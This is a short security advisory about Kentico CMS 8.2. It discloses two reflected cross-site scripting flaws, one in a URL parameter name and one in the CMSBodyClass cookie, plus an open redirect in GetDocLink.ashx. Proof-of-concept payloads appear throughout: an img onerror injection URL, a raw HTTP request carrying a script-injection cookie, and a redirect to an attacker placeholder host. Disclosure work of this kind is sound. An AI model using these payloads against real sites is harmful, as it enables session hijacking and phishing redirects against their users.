Kentico CMS 8.2 Cross Site Scripting / Open Redirect
Posted on 16 October 2015
Web application Kentico CMS 8.2 XSS / Open Redirection The *CVE-2015-7823* reference is still waiting my disclosure. The exploit works on *8.2* to *8.2.41* I've contacted the vendor and he fixed the vulnerability in the next major version *Vulnerability type:* Reflected XSS (High) The *elementguid *variable is vulnerable to Reflected XSS. The parameter value encodes the special characters but the parameter name is not so I made the payload act as parameter name. *PoC:* http://172.16.16.136 /Kentico82/CMSModules/AdminControls/Pages/UIPage.aspx?elementguid=43ea4f2b- 554e-40f3-a602-90ef5e1e1d4f&"><img src%3Dx onerror%3Dalert(unescape(`%2540%254B%2549%254E%2547%2553%2541%2542%2552%2549`)) %3D>=w00t *Vulnerability type:* Reflected XSS (Medium) The *CMSBodyClass* cookie variable. Intercept with proxy then inject the payload "><script>alert('@KINGSABRI')</script> *PoC:* GET /Kentico82/?viewmode=livesite HTTP/1.1 Host: 172.16.16.136 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: http://172.16.16.136/Kentico82/Admin/CMSAdministration.aspx?username=administrator Cookie: ASP.NET_SessionId=kobazkqekmwdeyhwtt4fcfed; CMSCookieLevel=1000; CMSPreferredUICulture=en-US; .ASPXFORMSAUTH=400E1E790B524F80A31B06187AFD143B3B3B24FC4D745185CFAA314B433F3417485CD352543B86B88D21DC322D724F8613F60EF6174C08826D9B3043DB8671EAFB9C146A5AF645EF65DB9ABB4BA9BD117698715E4D888C9C4F8060C9A3DFB5D6; CMSPreferredCulture=en-US; CMSBodyClass=SSSS"><script>alert('@KINGSABRI')</script>SSSS *Vulnerability type:* Open Redirect (Low) The *GetDocLink.ashx * with *link* variable is vulnerable to open redirect vulnerability *PoC:* http://172.16.16.136/Kentico82/CMSPages/GetDocLink.ashx?link=http://attacker.zone
